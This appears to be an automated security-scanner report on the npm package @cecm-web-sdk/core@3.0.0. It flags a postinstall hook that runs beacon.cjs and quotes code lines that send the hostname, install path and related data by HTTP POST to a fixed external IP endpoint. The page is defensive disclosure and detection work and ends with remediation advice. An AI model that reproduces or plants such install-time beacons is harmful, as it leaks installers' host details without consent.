@cecm-web-sdk/core@3.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 15h ago · by lpm-firewall-aiThe package performs automatic install-time disclosure of host-identifying metadata to a fixed external endpoint without installer consent. This is a concrete installation beacon and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's postinstall hook runs during installation.
Impact
The collector receives identifying details about the host and package installation.
Mechanism
The hook starts beacon.cjs, which builds a metadata payload and sends it in an HTTP POST request.
Attack narrative
During installation, the postinstall hook runs beacon.cjs. It sends the host name, installation path, working directory, package identity, and runtime version to a fixed external collector over HTTP. The source shows no affirmative consent gate for this disclosure.
AI rationale
The package performs automatic install-time disclosure of host-identifying metadata to a fixed external endpoint without installer consent. This is a concrete installation beacon and supports blocking publication.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically after installation.
- The beacon sends a POST request to a fixed external address over plain HTTP.
- The payload includes the machine hostname, install path, working directory, package name, and runtime version.
- The beacon sends the payload without an affirmative consent check.
Evidence against
- The source describes the transmission as a build-provenance report, but provides no installer consent mechanism.
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index
High
Ai Review Evidence
The package runs beacon.cjs automatically after installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@cecm-web-sdk/core";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @cecm-web-sdk/core@3.0.0.
See all versions of @cecm-web-sdk/core for other recorded verdicts.
- Avoid installing @cecm-web-sdk/core@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.